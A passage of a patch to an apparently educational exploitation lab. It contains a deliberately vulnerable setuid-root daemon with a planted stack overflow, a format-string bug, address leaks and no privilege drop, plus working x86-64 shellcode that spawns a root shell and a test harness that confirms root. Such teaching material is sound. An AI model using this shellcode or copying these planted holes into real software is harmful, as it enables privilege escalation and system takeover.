||||
* ====================================================================
|
||||
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
|
||||
* ====================================================================
|
||||
* Same as food: attacker '%'-specifiers in `buf` could read stack words
|
||||
* with %x or write memory with %n. Here -- setuid root -- a %n is a
|
||||
* write-what-where primitive IN A ROOT PROCESS, so this second bug is
|
||||
* worse than it was in food. It runs only on a copy in `line`, and only
|
||||
* triggers if the payload contains '%'.
|
||||
*
|
||||
* FIX: printf("%s", buf), never printf(buf).
|
||||
*/
|
||||
if (memchr(buf, '%', (size_t)n) != NULL) {
|
||||
snprintf(line, sizeof(line), "%.*s", (int)FOOSD_LOGSZ - 1, buf);
|
||||
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
|
||||
(void)write_all(fd, line, strlen(line));
|
||||
}
|
||||
|
||||
/* On return the (attacker-controlled) saved return address becomes RIP. */
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Crash reporter (same rationale as food: a crash should tell you it was */
|
||||
/* malicious; the fault address is the return address the client supplied). */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
|
||||
{
|
||||
ucontext_t *uc = (ucontext_t *)ucv;
|
||||
unsigned long rip = 0, rsp = 0;
|
||||
|
||||
if (uc != NULL) {
|
||||
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
|
||||
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
|
||||
}
|
||||
|
||||
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
|
||||
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
|
||||
"supplied)", rip, rsp);
|
||||
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
|
||||
"if it looks like 0x4028xx it may BE the `ret` itself: a ret "
|
||||
"into a non-canonical address (e.g. 0x4141414141414141) faults "
|
||||
"at the ret, not at the target.");
|
||||
|
||||
/* Re-raise with the default disposition so the process still dies, with
|
||||
* the correct status, rather than re-executing the faulting instruction
|
||||
* forever (returning from this handler would do exactly that). */
|
||||
signal(sig, SIG_DFL);
|
||||
raise(sig);
|
||||
}
|
||||
|
||||
static void install_crash_reporter(void)
|
||||
{
|
||||
struct sigaction sa;
|
||||
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
|
||||
sa.sa_flags = SA_SIGINFO;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
|
||||
if (sigaction(SIGSEGV, &sa, NULL) < 0)
|
||||
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
|
||||
if (sigaction(SIGBUS, &sa, NULL) < 0)
|
||||
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* fd handling */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
|
||||
* every technique (ret2win, ret2libc, shellcode) produces a shell that
|
||||
* automatically speaks over the network. */
|
||||
static void prepare_client_fds(int fd)
|
||||
{
|
||||
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
|
||||
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
|
||||
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
|
||||
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* THE INFORMATION LEAK */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* send_leaks() -- tell the attacker:
|
||||
*
|
||||
* ids= this process's euid/ruid. THE SUID DIAGNOSTIC.
|
||||
* The exploit prints a warning when euid is not 0,
|
||||
* because without the setuid bit there will be no root
|
||||
* shell and the user would otherwise think the exploit
|
||||
* is broken.
|
||||
* leak stack=... an address on the stack, for the shellcode
|
||||
* leak libc=... the real address of read() inside libc, for ret2libc
|
||||
*
|
||||
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
|
||||
* harness proves a live shell by grepping for the string "uid=" in the
|
||||
* session transcript, and "euid=" / "ruid=" both contain that substring, so
|
||||
* printing them would make the banner itself pass the check. The ids= form
|
||||
* cannot be confused with a shell's `id` output. This kind of "the probe and
|
||||
* the answer must not share a signature" thinking is exactly what you do
|
||||
* when you write real assertions about untrusted output.
|
||||
*/
|
||||
static void send_leaks(int fd)
|
||||
{
|
||||
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
|
||||
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
|
||||
|
||||
libc_read = &read; /* &read resolves through the GOT to libc. */
|
||||
|
||||
dprintf(fd, "FOOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
|
||||
(int)geteuid(), (int)getuid(),
|
||||
(void *)&stack_marker, (void *)libc_read);
|
||||
}
|
||||
|
||||
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
|
||||
* -------------------------------------------
|
||||
* drop_privs() -- what a well-written daemon would do the moment it no
|
||||
* longer needs root. Two mistakes to notice, both of which are immune to
|
||||
* every compiler mitigation:
|
||||
*
|
||||
* * ORDER: you must drop in the order gid-capabilities that matter --
|
||||
* setgroups() before setgid() before setuid(), and only AFTER binding
|
||||
* the port and opening any root-only files. Drop first and the whole
|
||||
* point of root is gone.
|
||||
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
|
||||
* process may later regain privileges via saved id otherwise).
|
||||
*
|
||||
* In this lab it is deliberately absent from the accept loop, because the
|
||||
* lab NEEDS the children to stay root. Keeping the correct version in the
|
||||
* source, commented, lets you diff "what should be here" against "what is
|
||||
* here" -- the two-line difference is the entire exploit surface.
|
||||
*/
|
||||
__attribute__((unused))
|
||||
static void drop_privs(void)
|
||||
{
|
||||
/* Order matters: setgroups() first (a non-root user may not), then
|
||||
* setgid(), then setuid(). Never the reverse. */
|
||||
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
|
||||
(void)setgid(1000); /* Lose group privileges. */
|
||||
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
|
||||
_exit(1); /* If we cannot drop, FAIL CLOSED. */
|
||||
|
||||
/* Verify. getuid()/geteuid() are cheap; a SUID program whose drop failed
|
||||
* silently is a root hole wearing a costume. */
|
||||
if (getuid() != 1000 || geteuid() != 1000)
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Per-connection handling */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static void handle_client(int fd)
|
||||
{
|
||||
static const char banner[] =
|
||||
"FOOSD 1.0 - deliberately vulnerable SUID service\n"
|
||||
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
|
||||
|
||||
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
|
||||
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
|
||||
|
||||
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
|
||||
|
||||
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
|
||||
send_leaks(STDOUT_FILENO);
|
||||
|
||||
vulnerable_handler(STDOUT_FILENO);
|
||||
|
||||
/* Only reached when the payload did NOT hijack RIP. */
|
||||
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
|
||||
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The server loop */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
static int make_listener(const char *host, int port)
|
||||
{
|
||||
struct sockaddr_in addr;
|
||||
int fd;
|
||||
int one = 1;
|
||||
|
||||
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (fd < 0) {
|
||||
logmsg("socket() failed: %s", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
||||
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons((uint16_t)port);
|
||||
|
||||
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
|
||||
logmsg("bad bind address: %s", host);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (port < 1 || port > 65535) {
|
||||
logmsg("port out of range: %d", port);
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(fd, 16) < 0) {
|
||||
logmsg("listen() failed: %s", strerror(errno));
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void usage(const char *argv0)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
|
||||
"\n"
|
||||
" -h HOST address to bind (default %s -- loopback only!\n"
|
||||
" -L is required to bind anywhere else)\n"
|
||||
" -p PORT TCP port to listen on (default %d)\n"
|
||||
" -d daemonise: fork into the background\n"
|
||||
" -L ALLOW binding to a non-loopback address (dangerous:\n"
|
||||
" this binary is meant to be run SETUID ROOT)\n"
|
||||
"\n"
|
||||
"WARNING: this program is intentionally exploitable AND is meant\n"
|
||||
"to be run setuid root. Do not run it on any host that matters,\n"
|
||||
"never bind it beyond loopback, and remove the setuid bit with\n"
|
||||
"`sudo make unsetuid` when you are done.\n",
|
||||
argv0, FOOSD_HOST, FOOSD_PORT);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *host = FOOSD_HOST; /* Bind address. */
|
||||
int port = FOOSD_PORT; /* Bind port. */
|
||||
int daemonise = 0; /* -d. */
|
||||
int allow_nonloopback = 0; /* -L. The setuid safety guard. */
|
||||
int lfd; /* Listening socket. */
|
||||
int i; /* getopt() index. */
|
||||
|
||||
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
|
||||
switch (i) {
|
||||
case 'h': host = optarg; break;
|
||||
case 'p': port = atoi(optarg); break;
|
||||
case 'd': daemonise = 1; break;
|
||||
case 'L': allow_nonloopback = 1; break;
|
||||
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
|
||||
usage(argv[0]);
|
||||
return 2;
|
||||
default: usage(argv[0]);
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* THE SETUID SAFETY GUARD.
|
||||
*
|
||||
* A setuid-root process that listens on a non-loopback interface is a
|
||||
* remote root service. This guard is not a mitigation, it is a default:
|
||||
* the administrator must consciously type -L to override it. Refuse by
|
||||
* default, document the exception, fail loudly.
|
||||
*/
|
||||
if (!allow_nonloopback &&
|
||||
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
|
||||
strcmp(host, "::1") != 0)) {
|
||||
fprintf(stderr,
|
||||
"foosd: refusing to bind %s: this binary may be setuid root.\n"
|
||||
" Loopback is the only permitted default. If you really\n"
|
||||
" know what you are doing, pass -L.\n", host);
|
||||
return 1;
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
|
||||
|
||||
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
|
||||
g_logfd = dup(STDOUT_FILENO);
|
||||
if (g_logfd < 0) {
|
||||
g_logfd = STDOUT_FILENO;
|
||||
fprintf(stderr, "foosd: warning: could not reserve a log descriptor\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* SELF-DIAGNOSIS OF THE SUID STATE -- printed once, to the log.
|
||||
*
|
||||
* "suid active": euid==0 and ruid!=0 -> a setuid-root binary
|
||||
* "run as root": euid==0 and ruid==0 -> started by root directly
|
||||
* "plain user": euid==ruid!=0 -> +s bit not set (yet)
|
||||
*
|
||||
* foosc reads euid over the socket and can warn too; this log line is
|
||||
* for you at the console.
|
||||
*/
|
||||
logmsg("startup: ruid=%d euid=%d %s",
|
||||
(int)getuid(), (int)geteuid(),
|
||||
(geteuid() == 0) ? "-> ROOT process"
|
||||
: "-> NOT root (set the setuid bit with make setuid)");
|
||||
|
||||
if (geteuid() == 0)
|
||||
logmsg("startup: WARNING: this daemon is running as root. It exists "
|
||||
"only to be exploited. Port %d does not need root.", port);
|
||||
|
||||
lfd = make_listener(host, port);
|
||||
if (lfd < 0)
|
||||
return 1;
|
||||
|
||||
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
|
||||
"VULNERABLE", host, port, (int)getpid());
|
||||
|
||||
if (daemonise) {
|
||||
/* Standard double fork so we cannot acquire a controlling terminal. */
|
||||
pid_t p1 = fork();
|
||||
if (p1 < 0) { perror("fork"); return 1; }
|
||||
if (p1 > 0) _exit(0);
|
||||
if (setsid() < 0) perror("setsid");
|
||||
pid_t p2 = fork();
|
||||
if (p2 < 0) { perror("fork"); return 1; }
|
||||
if (p2 > 0) _exit(0);
|
||||
if (chdir("/") < 0) perror("chdir");
|
||||
umask(022);
|
||||
}
|
||||
|
||||
/* ---- The accept loop. Each child serves one connection as root. ----- */
|
||||
for (;;) {
|
||||
struct sockaddr_in peer;
|
||||
socklen_t plen = sizeof(peer);
|
||||
int cfd;
|
||||
pid_t pid;
|
||||
|
||||
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
|
||||
if (cfd < 0) {
|
||||
if (errno == EINTR || errno == ECONNABORTED)
|
||||
continue;
|
||||
logmsg("accept() failed: %s", strerror(errno));
|
||||
continue;
|
||||
}
|
||||
|
||||
/*
|
||||
* Fork per connection. The child KEEPS the root privileges -- that
|
||||
* is Bug #3 in this lab, "no privilege drop before handling
|
||||
* untrusted input" (CWE-271). See drop_privs() above for the code
|
||||
* a real daemon would call at this exact point.
|
||||
*/
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
logmsg("fork() failed: %s", strerror(errno));
|
||||
close(cfd);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
close(lfd);
|
||||
handle_client(cfd);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
close(cfd);
|
||||
}
|
||||
}
|
||||
94
suid/shellcode.S
Normal file
94
suid/shellcode.S
Normal file
|
|
@ -0,0 +1,94 @@
|
|||
; ============================================================================
|
||||
; shellcode.S -- the reference shellcode for the SUID lab (foosc)
|
||||
; ============================================================================
|
||||
;
|
||||
; This is the byte-for-byte source of the SHELLCODE[] array in ../foosc.c.
|
||||
; `make verify` assembles it with nasm and diffs the result against the C
|
||||
; array, so a hand-maintained hex dump can never silently drift from the
|
||||
; source of truth. Run it, do not just trust it.
|
||||
;
|
||||
; WHAT IT DOES
|
||||
; ------------
|
||||
; 1. setreuid(0, 0) -- make REAL and EFFECTIVE uid both root
|
||||
; 2. execve("/bin/sh",0,0) -- replace this process with a root shell
|
||||
;
|
||||
; WHY THE FIRST SYSCALL MUST EXIST -- the whole point of this lab
|
||||
; ----------------------------------------------------------------
|
||||
; When a setuid-root binary runs, Linux gives the process euid 0 but leaves
|
||||
; ruid = the launching user (e.g. 1000). Now:
|
||||
;
|
||||
; * execve() alone does NOT change the uids. euid stays 0 *in the process*.
|
||||
; But bash and dash, on startup, compare euid against ruid, and when they
|
||||
; differ (and -p is not given) they RESET euid = ruid -- the shell's own
|
||||
; defence against exactly this attack. Result: plain execve("/bin/sh")
|
||||
; from a setuid process gives you a shell that is NOT root.
|
||||
;
|
||||
; * setuid(0) is NOT enough either. On Linux, an unprivileged... no: even a
|
||||
; privileged setuid(0) sets euid=0 (and saved=0) but LEAVES ruid
|
||||
; untouched. bash still sees euid(0) != ruid(1000) and still resets.
|
||||
;
|
||||
; * setreuid(0, 0) sets BOTH ruid and euid to 0 (and, because euid 0 is
|
||||
; privileged, saved too). bash now starts with euid == ruid == 0 and
|
||||
; keeps root.
|
||||
;
|
||||
; So "clear the real uid as well" is not paranoia -- it is the *only* way a
|
||||
; /bin/sh payload gets a root shell out of a setuid binary on a modern
|
||||
; system. This is why the classic 24-byte shellcode you find all over the
|
||||
; internet opens with a uid-clearing syscall.
|
||||
;
|
||||
; Register usage follows the System V AMD64 ABI: first integer args in
|
||||
; rdi, rsi, rdx; syscall number in rax.
|
||||
; ============================================================================
|
||||
|
||||
BITS 64
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; 1) setreuid(0, 0)
|
||||
; Linux x86-64 syscall 113: int setreuid(uid_t ruid, uid_t euid);
|
||||
; ---------------------------------------------------------------------------
|
||||
|
||||
xor edi, edi ; 31 ff rdi = 0 -> ruid = 0
|
||||
xor esi, esi ; 31 f6 rsi = 0 -> euid = 0
|
||||
push 0x71 ; 6a 71 113 = __NR_setreuid
|
||||
pop rax ; 58 rax = 113
|
||||
syscall ; 0f 05 enter the kernel
|
||||
|
||||
; NOTES ON THE ENCODING:
|
||||
; * `xor edi,edi` is 2 bytes and zeroes the full 64-bit rdi. "xor reg,reg"
|
||||
; is the canonical way to zero a register -- not "mov 0", which is larger
|
||||
; and a lot of CPUs special-case the xor anyway.
|
||||
; * `push 0x71 ; pop rax` loads a small constant without a 7-byte
|
||||
; `mov rax, imm64`. Pushing an imm8 sign-extends it to 64 bits; 0x71 =
|
||||
; 113 fits, so this is both smaller and has no NUL bytes to worry about.
|
||||
; * We deliberately do NOT check the syscall return: if foosd was NOT built
|
||||
; setuid this fails with EPERM, and falling through to execve is exactly
|
||||
; what we want (a plain, non-root shell) so the lab works both ways.
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; 2) execve("/bin/sh", argv = NULL, envp = NULL)
|
||||
; Linux x86-64 syscall 59
|
||||
; ---------------------------------------------------------------------------
|
||||
|
||||
xor esi, esi ; 31 f6 rsi = 0 (argv = NULL)
|
||||
xor edx, edx ; 31 d2 rdx = 0 (envp = NULL)
|
||||
movabs rdi, 0x0068732f6e69622f
|
||||
; 48 bf 2f 62 69 6e 2f 73 68 00
|
||||
; rdi = "/bin/sh\0" as one little-endian word
|
||||
push rdi ; 57 put the string on the stack
|
||||
mov rdi, rsp ; 48 89 e7 rdi = pointer to the string
|
||||
push 0x3b ; 6a 3b 59 = execve
|
||||
pop rax ; 58 rax = 59
|
||||
syscall ; 0f 05 replace this process
|
||||
|
||||
; WHY THE STRING IS BUILT THIS WAY:
|
||||
; * There is no "push imm64"; the widest push immediate is sign-extended to
|
||||
; 32 bits, so "/bin/sh\0" (8 bytes) cannot be pushed directly. Loading it
|
||||
; into a register with movabs and pushing the register is the standard
|
||||
; trick. The little-endian word 0x0068732f6e69622f is the bytes
|
||||
; 2f 62 69 6e 2f 73 68 00 = "/bin/sh\0": the 8th byte is the NUL
|
||||
; terminator, carried "for free" in the register.
|
||||
; * argv=NULL/envp=NULL is legal for execve and keeps the payload tiny.
|
||||
; A real exploit would pass an argv with the path for maximum shell
|
||||
; compatibility; this lab's target shell (bash via /bin/sh) is happy.
|
||||
|
||||
; TOTAL: 32 bytes.
|
||||
278
suid/tests/pty_suid_test.c
Normal file
278
suid/tests/pty_suid_test.c
Normal file
|
|
@ -0,0 +1,278 @@
|
|||
/*
|
||||
* pty_suid_test.c -- test harness: drive ./foosc through a pseudo-terminal
|
||||
* so the interactive shell it hands over to has a real terminal.
|
||||
*
|
||||
* Why a pty at all: the exploit's last act is to relay the user's terminal
|
||||
* to the shell running on the victim. Anything already sitting on the real
|
||||
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
|
||||
* commands must arrive via a real tty. This harness supplies one.
|
||||
*
|
||||
* What it proves, and in what order:
|
||||
*
|
||||
* SHELL the marker literal comes back AND real `id` output appears.
|
||||
* Both are required because the marker alone also occurs in the
|
||||
* command line we typed *to* the pty, so any harness that does not
|
||||
* disable echo (see below) scores a false positive.
|
||||
*
|
||||
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
|
||||
* really is root. That can only come from a live `id` executed by
|
||||
* a root shell, and it is the entire claim of this lab.
|
||||
*
|
||||
* Flags:
|
||||
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
|
||||
* Used for the techniques that MUST escalate (shellcode,
|
||||
* ret2win-root).
|
||||
* --dump FILE write the raw transcript for post-mortem analysis.
|
||||
*
|
||||
* Exit status without --must-root: 0 when a shell is proven (marker + uid=),
|
||||
* regardless of root. That is how the Makefile reports the "demoted shell"
|
||||
* techniques (ret2win/ret2libc), whose whole lesson is that they succeed as
|
||||
* shells yet do NOT get root.
|
||||
*
|
||||
* The critical detail shared with tests/pty_test.c in the parent lab: the
|
||||
* pty must run COOKED but with ECHO off. With ECHO on, the pty mirrors our
|
||||
* own keystrokes back into the transcript, the command line "echo
|
||||
* SUID-ROOT-OK" supplies the marker, and the harness reports success whether
|
||||
* or not any shell ever ran. That silent false positive cost real time in
|
||||
* the parent lab; it is documented there and avoided here from the start.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <errno.h> /* strerror(). */
|
||||
#include <fcntl.h> /* open(), O_RDWR. */
|
||||
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
|
||||
#include <stdio.h> /* printf() and friends. */
|
||||
#include <stdlib.h> /* _exit(). */
|
||||
#include <string.h> /* strstr(). */
|
||||
#include <sys/wait.h> /* waitpid(). */
|
||||
#include <sys/select.h>/* select(): timeout without a busy loop. */
|
||||
#include <termios.h> /* tcgetattr()/tcsetattr(). */
|
||||
#include <signal.h> /* kill(), SIGKILL. */
|
||||
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
|
||||
|
||||
/* The literal we ask the remote shell to print; seeing it come back (with
|
||||
* ECHO off) proves a shell really echoed it from the other side. */
|
||||
#define MARKER "SUID-ROOT-OK"
|
||||
|
||||
/* Proofs a real program ran inside the far-side shell. Matching is strict:
|
||||
* "uid=" must be followed by digits and a parenthesis -- i.e. the exact
|
||||
* shape of `id` output ("uid=1000(hanez)"). A bare "uid=" substring is NOT
|
||||
* enough, because foosc's own diagnostics print "target euid=1000
|
||||
* ruid=1000", and both "euid="/"ruid=" contain "uid=". That accidental
|
||||
* substring made the hardened-build tests report id_output=SEEN while no
|
||||
* shell existed -- the false positive this strict match eliminates. */
|
||||
#define IDOUT "uid="
|
||||
|
||||
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
|
||||
* older "uid=0( root)"-style output of any id implementation; only 'id' can
|
||||
* print this line, and the parenthesis rules out any foosc/daemon chatter. */
|
||||
#define ROOTOUT "uid=0("
|
||||
|
||||
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
|
||||
* by one or more digits and then '(' . That is the signature of `id`'s
|
||||
* output and of nothing foosc or foosd prints. */
|
||||
static int saw_real_uid_output(const char *t)
|
||||
{
|
||||
const char *p = t;
|
||||
while ((p = strstr(p, IDOUT)) != NULL) {
|
||||
const char *q = p + 4; /* past "uid=" */
|
||||
int digits = 0;
|
||||
while (*q >= '0' && *q <= '9') {
|
||||
q++;
|
||||
digits++;
|
||||
}
|
||||
if (digits > 0 && *q == '(')
|
||||
return 1;
|
||||
p = q; /* keep scanning for the next "uid=". */
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Everything the pty has ever produced, scanned after every drain so a
|
||||
* marker straddling a read() boundary cannot be missed. */
|
||||
static char transcript[65536];
|
||||
|
||||
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
|
||||
* and append to the transcript. select() with a deadline keeps us from
|
||||
* spinning while the (interactive, silent) shell thinks. */
|
||||
static int drain_master(int master, int ms)
|
||||
{
|
||||
struct timeval tv;
|
||||
fd_set rfds;
|
||||
int total = 0;
|
||||
char buf[4096];
|
||||
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(master, &rfds);
|
||||
tv.tv_sec = ms / 1000;
|
||||
tv.tv_usec = (ms % 1000) * 1000;
|
||||
|
||||
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
|
||||
ssize_t n = read(master, buf, sizeof(buf));
|
||||
if (n <= 0)
|
||||
break;
|
||||
fwrite(buf, 1, (size_t)n, stdout);
|
||||
fflush(stdout);
|
||||
total += (int)n;
|
||||
if ((size_t)total < sizeof(transcript) - 1)
|
||||
strncat(transcript, buf, (size_t)n);
|
||||
|
||||
/* A chatty peer should not hold us forever: reset the deadline. */
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(master, &rfds);
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 200000;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
static const char *technique_of(int argc, char **argv)
|
||||
{
|
||||
for (int i = 1; i + 1 < argc; i++)
|
||||
if (strcmp(argv[i], "-t") == 0)
|
||||
return argv[i + 1];
|
||||
return "(default: shellcode)";
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int master;
|
||||
char slave_name[256];
|
||||
struct termios saved;
|
||||
int have_saved = 0;
|
||||
pid_t pid;
|
||||
int ok = 0; /* marker seen */
|
||||
int saw_id = 0; /* "uid=" seen: real program ran */
|
||||
int saw_root = 0; /* "uid=0(" seen: it was root */
|
||||
int must_root = 0; /* --must-root flag */
|
||||
int round;
|
||||
|
||||
/* True when --must-root is present: the verdict then demands uid=0. */
|
||||
for (int i = 1; i < argc; i++)
|
||||
if (strcmp(argv[i], "--must-root") == 0)
|
||||
must_root = 1;
|
||||
|
||||
/* ---- 1. Allocate a pty. ------------------------------------------ */
|
||||
master = posix_openpt(O_RDWR);
|
||||
if (master < 0) {
|
||||
perror("posix_openpt");
|
||||
return 2;
|
||||
}
|
||||
if (grantpt(master) < 0 || unlockpt(master) < 0) {
|
||||
perror("grantpt/unlockpt");
|
||||
return 2;
|
||||
}
|
||||
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
|
||||
perror("ptsname_r");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/* ---- 2. Fork; the child becomes the pty slave and execs foosc. --- */
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
return 2;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
int s;
|
||||
char *args[64];
|
||||
int n = 0;
|
||||
|
||||
if (setsid() < 0)
|
||||
_exit(127);
|
||||
s = open(slave_name, O_RDWR);
|
||||
if (s < 0)
|
||||
_exit(127);
|
||||
dup2(s, STDIN_FILENO);
|
||||
dup2(s, STDOUT_FILENO);
|
||||
dup2(s, STDERR_FILENO);
|
||||
if (s > STDERR_FILENO)
|
||||
close(s);
|
||||
|
||||
/* Forward everything except our own --must-root / --dump plumbing,
|
||||
* which foosc's getopt() would reject. */
|
||||
args[n++] = (char *)"./foosc";
|
||||
for (int i = 1; i < argc && n < 63; i++) {
|
||||
if (strcmp(argv[i], "--must-root") == 0)
|
||||
continue;
|
||||
if (strcmp(argv[i], "--dump") == 0) {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
args[n++] = argv[i];
|
||||
}
|
||||
args[n] = NULL;
|
||||
execv(args[0], args);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
|
||||
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
|
||||
* ECHO off is load-bearing (see the header comment). ECHONL stays on so
|
||||
* we still see the newline when the pty processes our input. */
|
||||
if (tcgetattr(master, &saved) == 0) {
|
||||
struct termios quiet = saved;
|
||||
have_saved = 1;
|
||||
quiet.c_lflag &= ~(tcflag_t)ECHO;
|
||||
quiet.c_lflag |= ECHONL;
|
||||
tcsetattr(master, TCSANOW, &quiet);
|
||||
}
|
||||
|
||||
/* ---- 4. Wait out foosc's analysis + connect + payload phases. ----- */
|
||||
for (round = 0; round < 12; round++)
|
||||
drain_master(master, 250);
|
||||
|
||||
/* ---- 5. Type the proof commands. --------------------------------- */
|
||||
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
|
||||
|
||||
/* ---- 6. Read until we have the signals we need (or give up). ----- */
|
||||
for (round = 0; round < 20; round++) {
|
||||
drain_master(master, 250);
|
||||
|
||||
/* Rescan the WHOLE transcript, not the latest chunk: strings can
|
||||
* straddle read() boundaries. */
|
||||
if (strstr(transcript, MARKER) != NULL) ok = 1;
|
||||
if (saw_real_uid_output(transcript)) saw_id = 1;
|
||||
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
|
||||
|
||||
/* --must-root: require everything. Otherwise require a live shell. */
|
||||
if (must_root) {
|
||||
if (ok && saw_id && saw_root)
|
||||
break;
|
||||
} else if (ok && saw_id) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- 7. Tidy up. ------------------------------------------------- */
|
||||
kill(pid, SIGKILL);
|
||||
waitpid(pid, NULL, 0);
|
||||
if (have_saved)
|
||||
tcsetattr(master, TCSANOW, &saved);
|
||||
close(master);
|
||||
|
||||
/* Optional --dump for post-mortems: pty_suid_test -t shellcode --dump x */
|
||||
for (int i = 1; i + 1 < argc; i++) {
|
||||
if (strcmp(argv[i], "--dump") == 0) {
|
||||
FILE *f = fopen(argv[i + 1], "w");
|
||||
if (f != NULL) {
|
||||
fwrite(transcript, 1, strlen(transcript), f);
|
||||
fclose(f);
|
||||
fprintf(stderr, "[pty_suid_test] transcript (%zu bytes) -> %s\n",
|
||||
strlen(transcript), argv[i + 1]);
|
